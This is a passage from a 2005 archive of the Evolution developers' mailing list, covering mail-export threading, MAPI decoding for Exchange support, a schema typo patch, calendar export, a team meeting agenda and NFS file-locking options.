(1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: >Using the mail-mt stuff is good since it does some of the setup work >for you, and lets you setup 4 callbacks, one to say what you're doing, >one to do the work in the other thread, one to do any work back in the >gui thread, and one to clean up. You also have a little control over >scheduling - i.e. should it run in a new thread or just use one of the >thread queues, so you don't get too much thrashing. Ah okey, well i have been into using that sollution a couple of times, but well i still havent really got it to work as i wanted it. Today i realised Why i havent got it to work as i wanted it. well i have 3 functions in that struct that gets executed, and thought that a 4th could be used to run the compression part there. so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here was to get __exp to deliver the mails to the location where i wanted it, say /home/smurfd/backup/ and then to run the compression on That folder. Why you ask, why not just run the compression on the right-clicked folder? Well ive been heavily debating this (with myself) and after many debates, i came up with that running it on the exported directory would be better, since than i wouldnt have to care about if the user right-clicks a non-local folder, say IMAP or whatever for the compression part. sounds sane? That way, i need to have the "exportion" part to be finished Before the compression part takes place. Easy, just have the compression part take place in the __cpio function, right? NO, that wont work, and after serious thinking, serious headsmashing, i realised Why that is... Thats because in the __exp i have 'mail_get_folder()' wich itself spawns a new thread, and that way, the __exp thinks its work is done, before it "really" is... So im gonna have to borrow some more code i guess... and make small modifications on it to fit my needs. Better to re-use, than to re-invent i guess. :) Best regards /Nicklas From lkcl@lkcl.net Sat Feb 12 18:41:12 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ED8BC1249C1; Sat, 12 Feb 2005 18:41:11 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 36DD4124156 for ; Sat, 12 Feb 2005 18:41:00 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 6FEA1C647 for ; Sat, 12 Feb 2005 23:40:49 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D072X-0007oV-Jb for evolution-hackers@lists.ximian.com; Sat, 12 Feb 2005 23:51:05 +0000 Date: Sat, 12 Feb 2005 23:51:05 +0000 From: Luke Kenneth Casson Leighton To: evolution-hackers@lists.ximian.com Message-ID: <20050212235105.GB29946@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=-2.4 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] making good progress decoding MAPI Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: i've moved on to decoding MAPI. Nspi and EMSMDB, when using muddle to get the basic structure, and using FreeDCE to regenerate code, and looking at Wine's MAPIDEFS.h to fill in the blanks that muddle cannot possibly get, was a piece of piss. MAPI is a complete bitch. i've revived an old project called "aparser" which is an IDL compiler written in awk by andrew tridgell. it's very very useful. basically it can generate code from templates, given an input file specifying the data structures. i might, if it becomes particularly handy, convert it to python, because awk is very obscure. so far i'm generating a "decoder", and have about three functions (request and response) decoded and understood so far using aparser and a further four that need conversion to aparser IDL format. once i am happy with the "decoder", i will write templates that can spew forth client-side code and server-side stubs. i'll then be ready to create an exchange 5.5 server (with some hard-coded responses) and to continue with my test client. wheeee :) so. by the time i am done, there will exist a client-side library for evolution to call DIRECTLY into an Exchange 5.5 server. no DLLs. no pissing about installing client or server code. just free software. l. -- -- http://lkcl.net -- From cwryu@debian.org Sat Feb 12 23:30:22 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8238912452E; Sat, 12 Feb 2005 23:30:22 -0500 (EST) Received: from relaygw1.kornet.net (relaygw1.kornet.net [220.73.155.196]) by lists.ximian.com (Postfix) with ESMTP id F0FC012452E for ; Sat, 12 Feb 2005 23:30:09 -0500 (EST) Received: from [211.48.62.134] ([211.48.62.134]) by relaygw1.kornet.net ([220.73.155.196]) with ESMTP id 2005021313:29:30:641446.14232.57 for ; Sun, 13 Feb 2005 13:29:30 +0900 (KST) Received: from [61.74.110.33] ([61.74.110.33]) by relay7.kornet.net ([211.48.62.134]) with ESMTP id 2005021313:30:11:242649.18969.33160112 for ; Sun, 13 Feb 2005 13:30:11 +0900 (KST) From: Changwoo Ryu To: evolution-hackers Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-VYl5rSBHYbiJ9cahWhZM" Date: Sun, 13 Feb 2005 13:30:05 +0900 Message-Id: <1108269005.6081.50.camel@zeus.codehall.org> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-TERRACE-SPAMMARK: NOT spam-marked. (by Terrace) X-Spam-Status: No, hits=1.8 required=5.0 tests=PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, RCVD_IN_SBL version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Typos fix in the schemas (needs string changes) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-VYl5rSBHYbiJ9cahWhZM Content-Type: multipart/mixed; boundary="=-3YFoFO18k4r1+HumWCYN" --=-3YFoFO18k4r1+HumWCYN Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Found two typos while translating. One is a simple English typo, the other is a malformed schema (used which should be ). =20 They all needs translation updates. --=20 Changwoo Ryu --=-3YFoFO18k4r1+HumWCYN Content-Disposition: attachment; filename=evolution-schema-fix.diff Content-Type: text/x-patch; name=evolution-schema-fix.diff; charset=UTF-8 Content-Transfer-Encoding: base64 SW5kZXg6IGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmluLmlu DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9ldm9sdXRpb24vY2FsZW5kYXIvZ3Vp L2FwcHNfZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4sdg0KcmV0cmlldmluZyByZXZp c2lvbiAxLjcNCmRpZmYgLXUgLXIxLjcgYXBwc19ldm9sdXRpb25fY2FsZW5kYXIuc2NoZW1hcy5p bi5pbg0KLS0tIGNhbGVuZGFyL2d1aS9hcHBzX2V2b2x1dGlvbl9jYWxlbmRhci5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6MzU6NTUgLTAwMDAJMS43DQorKysgY2FsZW5kYXIvZ3VpL2FwcHNf ZXZvbHV0aW9uX2NhbGVuZGFyLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAw MDANCkBAIC05NSw3ICs5NSw3IEBADQogICAgICAgPGRlZmF1bHQ+MzA8L2RlZmF1bHQ+DQogICAg ICAgPGxvY2FsZSBuYW1lPSJDIj4NCiAgICAgICAgIDxzaG9ydD5UaW1lIGRpdmlzaW9uczwvc2hv cnQ+DQotICAgICAgICA8c2hvcnQ+SW50ZXJ2YWxzIHNob3duIGluIERheSBhbmQgV29yayBXZWVr IHZpZXdzLCBpbiBtaW51dGVzLjwvc2hvcnQ+DQorICAgICAgICA8bG9uZz5JbnRlcnZhbHMgc2hv d24gaW4gRGF5IGFuZCBXb3JrIFdlZWsgdmlld3MsIGluIG1pbnV0ZXMuPC9sb25nPg0KICAgICAg IDwvbG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCkluZGV4OiBzaGVsbC9hcHBzX2V2b2x1dGlv bl9zaGVsbC5zY2hlbWFzLmluLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9l dm9sdXRpb24vc2hlbGwvYXBwc19ldm9sdXRpb25fc2hlbGwuc2NoZW1hcy5pbi5pbix2DQpyZXRy aWV2aW5nIHJldmlzaW9uIDEuMTANCmRpZmYgLXUgLXIxLjEwIGFwcHNfZXZvbHV0aW9uX3NoZWxs LnNjaGVtYXMuaW4uaW4NCi0tLSBzaGVsbC9hcHBzX2V2b2x1dGlvbl9zaGVsbC5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6Mzg6MTAgLTAwMDAJMS4xMA0KKysrIHNoZWxsL2FwcHNfZXZvbHV0 aW9uX3NoZWxsLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAwMDANCkBAIC0x MTQsNyArMTE0LDcgQEANCiAgICAgICA8ZGVmYXVsdD50b29sYmFyPC9kZWZhdWx0Pg0KICAgICAg IDxsb2NhbGUgbmFtZT0iQyI+DQogICAgICAgICA8c2hvcnQ+V2luZG93IGJ1dHRvbiBzdHlsZTwv c2hvcnQ+DQotICAgICAgICA8bG9uZz5UaGUgc3R5bGUgb2YgdGhlIHdpbmRvdyBidXR0b25zLiAg Q2FuIGJlICJ0ZXh0IiwgImljb25zIiwgImJvdGgiLCAidG9vbGJhciIuICBJZiAidG9vbGJhciIg aXMgc2V0LCB0aGUgc3R5bGUgb2YgdGhlIGJ1dXRvbnMgaXMgZGV0ZXJtaW5lZCBieSB0aGUgR05P TUUgdG9vbGJhciBzZXR0aW5nLjwvbG9uZz4NCisgICAgICAgIDxsb25nPlRoZSBzdHlsZSBvZiB0 aGUgd2luZG93IGJ1dHRvbnMuICBDYW4gYmUgInRleHQiLCAiaWNvbnMiLCAiYm90aCIsICJ0b29s YmFyIi4gIElmICJ0b29sYmFyIiBpcyBzZXQsIHRoZSBzdHlsZSBvZiB0aGUgYnV0dG9ucyBpcyBk ZXRlcm1pbmVkIGJ5IHRoZSBHTk9NRSB0b29sYmFyIHNldHRpbmcuPC9sb25nPg0KICAgICAgIDwv bG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCg== --=-3YFoFO18k4r1+HumWCYN-- --=-VYl5rSBHYbiJ9cahWhZM Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP MESSAGE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCDtfNAbRzNODUnpkRAr8+AJwPWFOXZHsHJkLKjaafn+BbNgMtXQCfU/gV HrDkTMiwCm0wB2rQcT246po= =K9MM -----END PGP MESSAGE----- --=-VYl5rSBHYbiJ9cahWhZM-- From ak-47@gmx.net Sun Feb 13 10:05:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2C34412427C; Sun, 13 Feb 2005 10:05:42 -0500 (EST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 120331240F8 for ; Sun, 13 Feb 2005 10:05:30 -0500 (EST) Received: (qmail invoked by alias); 13 Feb 2005 15:05:28 -0000 Received: from unknown (EHLO hab01.dialup.callax-network.net) (81.209.204.171) by mail.gmx.net (mp027) with SMTP; 13 Feb 2005 16:05:28 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] Typos fix in the schemas (needs string changes) From: Andre Klapper To: evolution-hackers@lists.ximian.com In-Reply-To: <1108269005.6081.50.camel@zeus.codehall.org> References: <1108269005.6081.50.camel@zeus.codehall.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-vZ2XOABCHfXY+DoO+jGh" Date: Sun, 13 Feb 2005 15:20:43 +0100 Message-Id: <1108304443.5307.13.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-19.6 required=5.0 tests=BAYES_30,FROM_ENDS_IN_NUMS,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-vZ2XOABCHfXY+DoO+jGh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi changwoo, Am Sonntag, den 13.02.2005, 13:30 +0900 schrieb Changwoo Ryu: > Found two typos while translating. One is a simple English typo, the > other is a malformed schema (used which should be ). =20 this is a fix for bug 72542 by the way, your patch misses the diffs for the changelog. generally, patches should be send to evolution-patches@lists.ximian.com (or just attach your fix to the bug, due to string freeze i don't know if this can go into 2.1/2.2). cheers & thanks, andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-vZ2XOABCHfXY+DoO+jGh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCD2I7UZw3dUr5LoARAq9nAKCqapDp3LP19a1FWj9DMyNlrgAM9QCeMK3y sm6bOvPamS2Dx6L5jl3v3y8= =wgl6 -----END PGP SIGNATURE----- --=-vZ2XOABCHfXY+DoO+jGh-- From alispost@gmail.com Sun Feb 13 12:54:11 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8772E124967; Sun, 13 Feb 2005 12:54:11 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by lists.ximian.com (Postfix) with ESMTP id 2649E124096 for ; Sun, 13 Feb 2005 12:53:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so514829wra for ; Sun, 13 Feb 2005 09:53:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=CmHgUhCch5DXcG7n/0foJS27Yzp8Fr/tzqcMvu3iPu2PHpxSykzejCiVnNzM64Egodvp36Wrsg8dKk18x6c0Xlg3DEHfSVXpoExvq0CbjVv78ZK9lNdPKqFJ31kXW63meyLVtRfKgzjrJ55010E2GVFnioDjjtso0+AJoG3TCg0= Received: by 10.54.41.20 with SMTP id o20mr34718wro; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Received: by 10.54.23.55 with HTTP; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Message-ID: <46d2106605021309532dc8df61@mail.gmail.com> Date: Sun, 13 Feb 2005 18:53:19 +0100 From: ali Reply-To: ali To: evolution-hackers@lists.ximian.com Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Automated export of iCal files Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi together, in the last few days i have been researching to find out, how to pubshlish my calender data in the web. I found much groupware software which is half-evolution ready, or is planning to be compatible to it (Plugins missing and stuff alike). I now found a way: Export my calender data using evolution 2 into the iCal format, put this file online via webdav, ftp and then let it be parsed by some cron-controled shell-script. But in the step of publishing the information to the server (which of the protocols are used is not important to me) i get a problem: Evolution has no option to do so. I can't export to a WebDAV resource that easily. It seems as this is not implemented (at least i did not find anything in the docs) and so i was wondering if there is a command line option to export the calender, so that a shell script on my debian system will export my calender data every 3 hours, put it online and care about parsing. I need this so that there is an autmated process that holds my online calender data up to date. I wasn't able to figure out a better way, so i'm looking for the cli option for evolution to export to iCal format. Can anybody help out here? Thanks in advance Al From stephane@cs.york.ac.uk Sun Feb 13 19:14:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2E81B124392; Sun, 13 Feb 2005 19:14:42 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7D35212432F for ; Sun, 13 Feb 2005 19:14:30 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1D0TrH-0001tj-Uf; Mon, 14 Feb 2005 00:12:59 +0000 Received: from venice.cs.york.ac.uk ([144.32.40.17] helo=localhost.localdomain ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1D0TrH-0006o4-Nx; Mon, 14 Feb 2005 00:13:00 +0000 Subject: Re: [Evolution-hackers] Automated export of iCal files From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: ali Cc: evolution-hackers@lists.ximian.com In-Reply-To: <46d2106605021309532dc8df61@mail.gmail.com> References: <46d2106605021309532dc8df61@mail.gmail.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-zpn+UkWo0471y1QgMifm" Organization: Computer Science, University of York Date: Mon, 14 Feb 2005 00:13:01 +0000 Message-Id: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk X-Spam-Status: No, hits=-18.7 required=5.0 tests=IN_REP_TO,PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-zpn+UkWo0471y1QgMifm Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Le dimanche 13 f=C3=A9vrier 2005 =C3=A0 18:53 +0100, ali a =C3=A9crit : > Hi together, >=20 > in the last few days i have been researching to find out, how to > pubshlish my calender data in the web. I found much groupware > software which is half-evolution ready, or is planning to be > compatible to it (Plugins missing and stuff alike). >=20 > I now found a way: Export my calender data using evolution 2 into the > iCal format, put this file online via webdav, ftp and then let it be > parsed by some cron-controled shell-script. > But in the step of publishing the information to the server (which of > the protocols are used is not important to me) i get a problem: > Evolution has no option to do so. I can't export to a WebDAV resource > that easily. It seems as this is not implemented (at least i did not > find anything in the docs) and so i was wondering if there is a > command line option to export the calender, so that a shell script on > my debian system will export my calender data every 3 hours, put it > online and care about parsing. >=20 > I need this so that there is an autmated process that holds my online > calender data up to date. I wasn't able to figure out a better way, so > i'm looking for the cli option for evolution to export to iCal > format. >=20 > Can anybody help out here? > Thanks in advance >=20 > Al Hi, This is a feature request, and a GNOME bounty, I am working on it and I almost have it working, I need to clean up the patch and see if the evolution-hackers will accept it but... In the meantime, no, evolution does not do it, well at least not the whole calendar. Patience, --=20 St=C3=A9phane Konstantaropoulos Computer Science, University of York --=-zpn+UkWo0471y1QgMifm Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCD+0NsZFoeToEeG4RAoPEAJ9TjWTAZZwafVy1Wm45esGQW1RPXACeK1qI MhhKmGug3pDFqqB9ia5sS58= =CaME -----END PGP SIGNATURE----- --=-zpn+UkWo0471y1QgMifm-- From alispost@gmail.com Mon Feb 14 14:52:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B93FC12451A; Mon, 14 Feb 2005 14:52:26 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by lists.ximian.com (Postfix) with ESMTP id 65B271244DB for ; Mon, 14 Feb 2005 14:52:14 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so677154wra for ; Mon, 14 Feb 2005 11:52:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ViiUQpA0EgurVJ9D0KdZ+pQCFQYu8WlfUZ/Y8ACNxMKjr2W/3jF5HOTvu0knbzNMu2GLj5zVkvCZTu6CgTrNmNmLwNAQta5jmP9Q3qCQrabBgd3iYmhZAxLwgYZwOBgXfKc3JhObWK4DPonFb4W19CAlhE/h/Aq1Dg7EtlVp6Fg= Received: by 10.54.41.71 with SMTP id o71mr209405wro; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Received: by 10.54.23.55 with HTTP; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Message-ID: <46d2106605021411525db81698@mail.gmail.com> Date: Mon, 14 Feb 2005 20:52:13 +0100 From: ali Reply-To: ali To: =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= Subject: Re: [Evolution-hackers] Automated export of iCal files Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <46d2106605021309532dc8df61@mail.gmail.com> <1108339981.8764.8.camel@localhost.localdomain> X-Spam-Status: No, hits=-15.5 required=5.0 tests=BAYES_20,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Stephane, thanks for your comment. I will wait until either your patch or other activities on this topic have reached beta-testing-level to test it. On Mon, 14 Feb 2005 00:13:01 +0000, St=E9phane Konstantaropoulos wrote: > Le dimanche 13 f=E9vrier 2005 =E0 18:53 +0100, ali a =E9crit : > > Hi together, > > > > in the last few days i have been researching to find out, how to > > pubshlish my calender data in the web. I found much groupware > > software which is half-evolution ready, or is planning to be > > compatible to it (Plugins missing and stuff alike). > > > > I now found a way: Export my calender data using evolution 2 into the > > iCal format, put this file online via webdav, ftp and then let it be > > parsed by some cron-controled shell-script. > > But in the step of publishing the information to the server (which of > > the protocols are used is not important to me) i get a problem: > > Evolution has no option to do so. I can't export to a WebDAV resource > > that easily. It seems as this is not implemented (at least i did not > > find anything in the docs) and so i was wondering if there is a > > command line option to export the calender, so that a shell script on > > my debian system will export my calender data every 3 hours, put it > > online and care about parsing. > > > > I need this so that there is an autmated process that holds my online > > calender data up to date. I wasn't able to figure out a better way, so > > i'm looking for the cli option for evolution to export to iCal > > format. > > > > Can anybody help out here? > > Thanks in advance > > > > Al >=20 > Hi, >=20 > This is a feature request, and a GNOME bounty, I am working on it and I > almost have it working, I need to clean up the patch and see if the > evolution-hackers will accept it but... >=20 > In the meantime, no, evolution does not do it, well at least not the > whole calendar. >=20 > Patience, > -- > St=E9phane Konstantaropoulos > Computer Science, University of York >=20 >=20 > From jpr@novell.com Tue Feb 15 01:22:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABC2D124D7F; Tue, 15 Feb 2005 01:22:37 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C9607124D81 for ; Tue, 15 Feb 2005 01:22:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 14 Feb 2005 23:22:13 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 15 Feb 2005 01:21:57 -0500 Message-Id: <1108448517.6456.55.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.2.0 and 2.2.1 timeline -2.1 notification reminder -Patch review mode reminder 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From ealtin@parkyeri.com Tue Feb 15 11:54:44 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DA917124E72; Tue, 15 Feb 2005 11:54:44 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id C6D7B124E5C for ; Tue, 15 Feb 2005 11:54:30 -0500 (EST) Received: from [81.214.124.250] (helo=roadrunner-parkyeri) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D15y0-0008TD-00; Tue, 15 Feb 2005 18:54:29 +0200 From: Enver ALTIN To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-hcprXR5ie3lSpnrmRhGc" Organization: Parkyeri Date: Tue, 15 Feb 2005 18:54:14 +0200 Message-Id: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-hcprXR5ie3lSpnrmRhGc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, We have a somewhat complex intranet consisting of several XDMCP/NFS servers and we're running applications with NFS mounted home folders (probably other folders too). NFS servers are running in vserver context and are using somewhat modified kernels (some security and vserver patches added) so I've been told that we're not able to get rpc.statd work properly. Thus, neither fcntl() nor flock() works for us. For that reason, I have re-packaged evolution with file-locking disabled and dot-locking enabled. While we're at it, we have been wondering if it could be possible to make it configurable at runtime. What I think is, to convert compile time things a lookup to GConf and do the preferred way of locking. If I come up with a patch implementing this, would that ever get committed? Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-hcprXR5ie3lSpnrmRhGc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCEik2ZCB2FZvqK0sRAs1MAJ9gl2djQdWvg5gDI/Z5KqE+PXKMmwCeNM8O tvNithH8ecoiX8HZ+q7XZTY= =r4WH -----END PGP SIGNATURE----- --=-hcprXR5ie3lSpnrmRhGc-- From notzed@ximian.com Tue Feb 15 19:32:17 2005 Return-Path: Received: by 